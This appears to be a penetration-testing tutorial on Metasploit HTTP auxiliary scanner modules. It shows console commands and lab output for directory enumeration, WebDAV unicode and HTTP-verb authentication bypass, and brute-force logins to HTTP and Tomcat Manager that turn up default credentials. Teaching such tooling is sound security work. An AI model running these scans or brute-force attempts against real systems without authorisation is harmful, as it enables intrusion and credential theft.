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Scanner HTTP Auxiliary Modules
a11y.text Scanner HTTP Auxiliary Modulescert
a11y.text certThe cert scanner module is a useful administrative scanner that allows you to cover a subnet to check whether or not server certificates are expired.
msf > use auxiliary/scanner/http/cert
msf auxiliary(cert) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
ISSUER .* yes Show a warning if the Issuer doesn't match this regex
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
SHOWALL false no Show all certificates (issuer,time) regardless of match
THREADS 1 yes The number of concurrent threads
To run the module, we just set our RHOSTS and THREADS values and let it do its thing.
msf auxiliary(cert) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(cert) > set THREADS 254
THREADS => 254
msf auxiliary(cert) > run
[*] 192.168.1.11 - '192.168.1.11' : 'Sat Sep 25 07:16:02 UTC 2010' - 'Tue Sep 22 07:16:02 UTC 2020'
[*] 192.168.1.10 - '192.168.1.10' : 'Wed Mar 10 00:13:26 UTC 2010' - 'Sat Mar 07 00:13:26 UTC 2020'
[*] 192.168.1.201 - 'localhost' : 'Tue Nov 10 23:48:47 UTC 2009' - 'Fri Nov 08 23:48:47 UTC 2019'
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cert) >
The module output shows the certificate issuer, the issue date, and the expiry date.
dir_listing
a11y.text dir_listingThe dir_listing module will connect to a provided range of web servers and determine if directory listings are enabled on them.
msf > use auxiliary/scanner/http/dir_listing
msf auxiliary(dir_listing) > show options
Module options (auxiliary/scanner/http/dir_listing):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The path to identify directoy listing
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
Note that the module can be set to search in a particular path but we will simply run it in its default configuration.
msf auxiliary(dir_listing) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(dir_listing) > set THREADS 55
THREADS => 55
msf auxiliary(dir_listing) > run
[*] NOT Vulnerable to directory listing http://192.168.1.209:80/
[*] NOT Vulnerable to directory listing http://192.168.1.211:80/
[*] Found Directory Listing http://192.168.1.223:80/
[*] NOT Vulnerable to directory listing http://192.168.1.234:80/
[*] NOT Vulnerable to directory listing http://192.168.1.230:80/
[*] Scanned 27 of 55 hosts (049% complete)
[*] Scanned 50 of 55 hosts (090% complete)
[*] Scanned 52 of 55 hosts (094% complete)
[*] Scanned 53 of 55 hosts (096% complete)
[*] Scanned 54 of 55 hosts (098% complete)
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_listing) >
As can be seen in the above output, one of our scanned servers does indeed have directory listings enabled on the root of the server. Findings like these can turn into a gold mine of valuable information.
dir_scanner
a11y.text dir_scannerThe dir_scanner module scans one or more web servers for interesting directories that can be further explored.
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
Module options (auxiliary/scanner/http/dir_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt no Path of word dictionary to use
PATH / yes The path to identify files
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
We will accept the default dictionary included in Metasploit, set our target, and let the scanner run.
msf auxiliary(dir_scanner) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(dir_scanner) > run
[*] Using code '404' as not found for 192.168.1.201
[*] Found http://192.168.1.201:80/.../ 403 (192.168.1.201)
[*] Found http://192.168.1.201:80/Joomla/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/cgi-bin/ 403 (192.168.1.201)
[*] Found http://192.168.1.201:80/error/ 403 (192.168.1.201)
[*] Found http://192.168.1.201:80/icons/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/oscommerce/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/phpmyadmin/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/security/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/webalizer/ 200 (192.168.1.201)
[*] Found http://192.168.1.201:80/webdav/ 200 (192.168.1.201)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_scanner) >
Our quick scan has turned up a number of directories on our target server that we would certainly want to investigate further.
dir_webdav_unicode_bypass
a11y.text dir_webdav_unicode_bypassThe dir_webdav_unicode_bypass module scans a given range of webservers and attempts to bypass the authentication using the WebDAV IIS6 Unicode vulnerability.
msf > use auxiliary/scanner/http/dir_webdav_unicode_bypass
msf auxiliary(dir_webdav_unicode_bypass) > show options
Module options (auxiliary/scanner/http/dir_webdav_unicode_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt no Path of word dictionary to use
ERROR_CODE 404 yes Error code for non existent directory
HTTP404S /usr/share/metasploit-framework/data/wmap/wmap_404s.txt no Path of 404 signatures to use
PATH / yes The path to identify files
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
We will keep the default DICTIONARY and HTTP404S dictionary settings, set our RHOSTS and THREADS values and let the module run.
msf auxiliary(dir_webdav_unicode_bypass) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(dir_webdav_unicode_bypass) > set THREADS 20
THREADS => 20
msf auxiliary(dir_webdav_unicode_bypass) > run
[*] Using code '404' as not found.
[*] Using code '404' as not found.
[*] Using code '404' as not found.
[*] Found protected folder http://192.168.1.211:80/admin/ 401 (192.168.1.211)
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.1.223:80/phpmyadmin/ 401 (192.168.1.223)
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.1.223:80/security/ 401 (192.168.1.223)
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found protected folder http://192.168.1.204:80/printers/ 401 (192.168.1.204)
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.204:80/%c0%afprinters/ 207 (192.168.1.204)
[*] Found protected folder http://192.168.1.203:80/printers/ 401 (192.168.1.203)
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.203:80/%c0%afprinters/ 207 (192.168.1.203)
...snip...
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_webdav_unicode_bypass) >
Our scan has found vulnerable servers. This vulnerability can potentially allow us to list, download, or even upload files to password protected folders.
enum_wayback
a11y.text enum_waybackThe enum_wayback auxiliary module will query the archive.org site for any url’s that have been archived for a given domain. This can be useful for locating valuable information or for finding pages on a site that have since been unlinked.
msf > use auxiliary/scanner/http/enum_wayback
msf auxiliary(enum_wayback) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN yes Domain to request URLS for
OUTFILE no Where to output the list for use
The only configuration item that we need to set is the DOMAIN value and then we let the scanner do its thing.
msf auxiliary(enum_wayback) > set DOMAIN metasploit.com
DOMAIN => metasploit.com
msf auxiliary(enum_wayback) > run
[*] Pulling urls from Archive.org
[*] Located 1300 addresses for metasploit.com
http://metasploit.com/
http://metasploit.com/?
http://metasploit.com/?OS=CrossReference&SP=CrossReference
http://metasploit.com/?OS=Windows+2000
http://metasploit.com/?OS=Windows+2003
http://metasploit.com/?OS=Windows+NT
http://metasploit.com/?OS=Windows+XP
http://metasploit.com/?kangtatantakwa
http://metasploit.com/archive/framework/bin00000.bin
...snip...
http://metasploit.com/projects/Framework/screenshots/v20_web_01_big.jpg
http://metasploit.com/projects/Framework/screenshots/v23_con_01_big.jpg
http://metasploit.com/projects/Framework/screenshots/v23_con_02_big.jpg
[*] Auxiliary module execution completed
msf auxiliary(enum_wayback) >
files_dir
a11y.text files_dirThe files_dir takes a wordlist as input and queries a host or range of hosts for the presence of interesting files on the target.
msf > use auxiliary/scanner/http/files_dir
msf auxiliary(files_dir) > show options
Module options (auxiliary/scanner/http/files_dir):
Name Current Setting Required Description
---- --------------- -------- -----------
DICTIONARY /usr/share/metasploit-framework/data/wmap/wmap_files.txt no Path of word dictionary to use
EXT no Append file extension to use
PATH / yes The path to identify files
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
The built-in DICTIONARY list will serve our purposes so we simply set our RHOSTS value and let the scanner run against our target.
msf auxiliary(files_dir) > set RHOSTS 192.168.0.155
RHOSTS => 192.168.0.155
msf auxiliary(files_dir) > run
[*] Using code '404' as not found for files with extension .null
[*] Using code '404' as not found for files with extension .backup
[*] Using code '404' as not found for files with extension .bak
[*] Using code '404' as not found for files with extension .c
[*] Using code '404' as not found for files with extension .cfg
[*] Using code '404' as not found for files with extension .class
[*] Using code '404' as not found for files with extension .copy
[*] Using code '404' as not found for files with extension .conf
[*] Using code '404' as not found for files with extension .exe
[*] Using code '404' as not found for files with extension .html
[*] Found http://192.168.0.155:80/index.html 200
[*] Using code '404' as not found for files with extension .htm
[*] Using code '404' as not found for files with extension .ini
[*] Using code '404' as not found for files with extension .log
[*] Using code '404' as not found for files with extension .old
[*] Using code '404' as not found for files with extension .orig
[*] Using code '404' as not found for files with extension .php
[*] Using code '404' as not found for files with extension .tar
[*] Using code '404' as not found for files with extension .tar.gz
[*] Using code '404' as not found for files with extension .tgz
[*] Using code '404' as not found for files with extension .tmp
[*] Using code '404' as not found for files with extension .temp
[*] Using code '404' as not found for files with extension .txt
[*] Using code '404' as not found for files with extension .zip
[*] Using code '404' as not found for files with extension ~
[*] Using code '404' as not found for files with extension
[*] Found http://192.168.0.155:80/blog 301
[*] Found http://192.168.0.155:80/index 200
[*] Using code '404' as not found for files with extension
[*] Found http://192.168.0.155:80/blog 301
[*] Found http://192.168.0.155:80/index 200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(files_dir) >
http_login
a11y.text http_loginThe http_login module is a brute-force login scanner that attempts to authenticate to a system using HTTP authentication.
msf > use auxiliary/scanner/http/http_login
msf auxiliary(http_login) > show options
Module options (auxiliary/scanner/http/http_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_URI no The URI to authenticate against (default:auto)
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REQUESTTYPE GET no Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/http_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
To configure the module, we set the AUTH_URI setting to the path of the page requesting authentication, our RHOSTS value and to reduce output, we set the VERBOSE value to ‘false’.
msf auxiliary(http_login) > set AUTH_URI /xampp/
AUTH_URI => /xampp/
msf auxiliary(http_login) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(http_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(http_login) > run
[*] Attempting to login to http://192.168.1.201:80/xampp/ with Basic authentication
[+] http://192.168.1.201:80/xampp/ - Successful login 'admin' : 's3cr3t'
[*] http://192.168.1.201:80/xampp/ - Random usernames are not allowed.
[*] http://192.168.1.201:80/xampp/ - Random passwords are not allowed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_login) >
As can be seen in the above output, our scan found a valid set of credentials for the directory.
open_proxy
a11y.text open_proxyThe open_proxy module scans a host or range of hosts looking for open proxy servers. This module helps mitigate false positives by allowing us to declare valid HTTP codes to determine whether a connection was successfully made.
msf > use auxiliary/scanner/http/open_proxy
msf auxiliary(open_proxy) > show options
Module options (auxiliary/scanner/http/open_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECKURL http://www.google.com yes The web site to test via alleged web proxy
MULTIPORTS false no Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VALIDCODES 200,302 yes Valid HTTP code for a successfully request
VALIDPATTERN 302 Moved yes Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request
VERIFYCONNECT false no Enable CONNECT HTTP method check
VHOST no HTTP server virtual host
We set our RHOSTS value to a small range of IP addresses and have the module scan port 8888 or proxy servers.
msf auxiliary(open_proxy) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(open_proxy) > set RPORT 8888
RPORT => 8888
msf auxiliary(open_proxy) > set THREADS 11
THREADS => 11
msf auxiliary(open_proxy) > run
[*] 192.168.1.201:8888 is a potentially OPEN proxy [200] (n/a)
[*] Scanned 02 of 11 hosts (018% complete)
[*] Scanned 03 of 11 hosts (027% complete)
[*] Scanned 04 of 11 hosts (036% complete)
[*] Scanned 05 of 11 hosts (045% complete)
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(open_proxy) >
options
a11y.text optionsThe options scanner module connects to a given range of IP address and queries any web servers for the options that are available on them. Some of these options can be further leveraged to penetrated the system.
msf > use auxiliary/scanner/http/options
msf auxiliary(options) > show options
Module options (auxiliary/scanner/http/options):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
We set our RHOSTS and THREADS value and let the scanner run.
msf auxiliary(options) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-254
msf auxiliary(options) > set THREADS 11
THREADS => 11
msf auxiliary(options) > run
[*] 192.168.1.203 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods
[*] 192.168.1.204 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods
[*] 192.168.1.205 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK methods
[*] 192.168.1.206 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK methods
[*] 192.168.1.208 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] 192.168.1.209 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(options) >
robots_txt
a11y.text robots_txtThe robots_txt auxiliary module scans a server or range of servers for the presence and contents of a robots.txt file. These files can frequently contain valuable information that administrators don’t want search engines to discover.
msf > use auxiliary/scanner/http/robots_txt
msf auxiliary(robots_txt) > show options
Module options (auxiliary/scanner/http/robots_txt):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The test path to find robots.txt file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
The configuration for this module is minimal. We simply set the RHOSTS and THEADS values and let it go.
msf auxiliary(robots_txt) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(robots_txt) > set THREADS 20
THREADS => 20
msf auxiliary(robots_txt) > run
[*] [192.168.1.208] /robots.txt - /internal/, /tmp/
[*] [192.168.1.209] /robots.txt - /
[*] [192.168.1.211] /robots.txt - /
[*] Scanned 15 of 55 hosts (027% complete)
[*] Scanned 29 of 55 hosts (052% complete)
[*] Scanned 38 of 55 hosts (069% complete)
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[*] Scanned 46 of 55 hosts (083% complete)
[*] Scanned 50 of 55 hosts (090% complete)
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(robots_txt) >
The ssl module queries a host or range of hosts and pull the SSL certificate information if present.
msf > use auxiliary/scanner/http/ssl
msf auxiliary(ssl) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
THREADS 1 yes The number of concurrent threads
To configure the module, we set our RHOSTS and THREADS values and let it run.
msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(ssl) > set THREADS 20
THREADS => 20
msf auxiliary(ssl) > run
[*] Error: 192.168.1.205: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] Error: 192.168.1.206: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] 192.168.1.208:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: md5WithRSAEncryption
[*] 192.168.1.208:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.208:443 has common name localhost.localdomain
[*] 192.168.1.211:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.211:443 has common name localhost.localdomain
[*] Scanned 13 of 55 hosts (023% complete)
[*] Error: 192.168.1.227: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] 192.168.1.223:443 Subject: /CN=localhost Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.223:443 has common name localhost
[*] 192.168.1.222:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.222:443 has common name MAILMAN
[*] Scanned 30 of 55 hosts (054% complete)
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[*] Scanned 53 of 55 hosts (096% complete)
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssl) >
http_version
a11y.text http_versionThe http_version scanner will scan a range of hosts and determine the web server version that is running on them.
msf > use auxiliary/scanner/http/http_version
msf auxiliary(http_version) > show options
Module options (auxiliary/scanner/http/http_version):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
To run the scan, we set the RHOSTS and THREADS values and let it run.
msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(http_version) > set THREADS 255
THREADS => 255
msf auxiliary(http_version) > run
[*] 192.168.1.2 Web Server
[*] 192.168.1.1 Apache ( 302-https://192.168.1.1:10443/ )
[*] 192.168.1.11
[*] Scanned 080 of 256 hosts (031% complete)
[*] 192.168.1.101 Apache/2.2.9 (Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch
...snip...
[*] 192.168.1.250 lighttpd/1.4.26 ( 302-http://192.168.1.250/account/login/?next=/ )
[*] Scanned 198 of 256 hosts (077% complete)
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[*] Scanned 253 of 256 hosts (098% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_version) >
Armed with the knowledge of the target web server software, attacks can be specifically tailored to suit the target.
tomcat_mgr_login
a11y.text tomcat_mgr_loginThe tomcat_mgr_login auxiliary module simply attempts to login to a Tomcat Manager Application instance using a provided username and password list.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
We will keep the default username and password files, set our RHOSTS and the RPORT of our target and let it run.
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.208
RHOSTS => 192.168.1.208
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(tomcat_mgr_login) > run
[+] http://192.168.1.208:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat_mgr_login) >
Our quick scan turned up a default set of tomcat credentials on our target system.
verb_auth_bypass
a11y.text verb_auth_bypassThe verb_auth_bypass module scans a server or range of servers and attempts to bypass authentication by using different HTTP verbs.
msf > use auxiliary/scanner/http/verb_auth_bypass
msf auxiliary(verb_auth_bypass) > show options
Module options (auxiliary/scanner/http/verb_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to test
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
We configure this module by setting the path to the page requiring authentication, set our RHOSTS value and let the scanner run.
msf auxiliary(verb_auth_bypass) > set PATH /xampp/
PATH => /xampp/
msf auxiliary(verb_auth_bypass) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(verb_auth_bypass) > run
[*] 192.168.1.201 requires authentication: Basic realm="xampp user" [401]
[*] Testing verb HEAD resp code: [401]
[*] Testing verb TRACE resp code: [200]
[*] Possible authentication bypass with verb TRACE code 200
[*] Testing verb TRACK resp code: [401]
[*] Testing verb WMAP resp code: [401]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(verb_auth_bypass) >
By reading the returned server status codes, the module indicates there is a potential auth bypass by using the TRACE verb on our target.
webdav_scanner
a11y.text webdav_scannerThe webdav_scanner module scans a server or range of servers and attempts to determine if WebDav is enabled. This allows us to better fine-tune our attacks.
msf > use auxiliary/scanner/http/webdav_scanner
msf auxiliary(webdav_scanner) > show options
Module options (auxiliary/scanner/http/webdav_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes Path to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
The only configuration we need to do is to set our RHOSTS and THREADS values and let the scanner run.
msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.200-250
RHOSTS => 192.168.1.200-250
msf auxiliary(webdav_scanner) > set THREADS 20
THREADS => 20
msf auxiliary(webdav_scanner) > run
[*] 192.168.1.203 (Microsoft-IIS/5.1) has WEBDAV ENABLED
[*] 192.168.1.209 (Apache/2.0.54 (Linux/SUSE)) WebDAV disabled.
[*] 192.168.1.208 (Apache/2.0.52 (CentOS)) WebDAV disabled.
[*] 192.168.1.213 (Apache/2.2.14 (Ubuntu)) WebDAV disabled.
[*] Scanned 14 of 51 hosts (027% complete)
[*] 192.168.1.222 (Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_python/2.7.6 Python/1.5.2 mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 mod_throttle/3.1.2) WebDAV disabled.
[*] 192.168.1.223 (Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1) WebDAV disabled.
[*] 192.168.1.229 (Microsoft-IIS/6.0) has WEBDAV ENABLED
[*] 192.168.1.224 (Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6) WebDAV disabled.
[*] 192.168.1.227 (Microsoft-IIS/5.0) has WEBDAV ENABLED
[*] Scanned 28 of 51 hosts (054% complete)
[*] 192.168.1.234 (lighttpd/1.4.25) WebDAV disabled.
[*] 192.168.1.235 (Apache/2.2.3 (CentOS)) WebDAV disabled.
[*] Scanned 38 of 51 hosts (074% complete)
[*] Scanned 51 of 51 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(webdav_scanner) >
webdav_website_content
a11y.text webdav_website_contentThe webdav_website_content auxiliary module scans a host or range of hosts for servers that disclose their content via WebDav.
msf > use auxiliary/scanner/http/webdav_website_content
msf auxiliary(webdav_website_content) > show options
Module options (auxiliary/scanner/http/webdav_website_content):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes Path to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
As this module can produce a lot of output, we will set RHOSTS to target a single machine and let it run.
msf auxiliary(webdav_website_content) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(webdav_website_content) > run
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/aspnet_client/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/images/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_private/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/iisstart.htm
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/pagerror.gif
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_log/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/access.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/botinfs.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/bots.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/deptodoc.btr
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/doctodep.btr
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/frontpg.lck
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/linkinfo.btr
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/service.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/service.lck
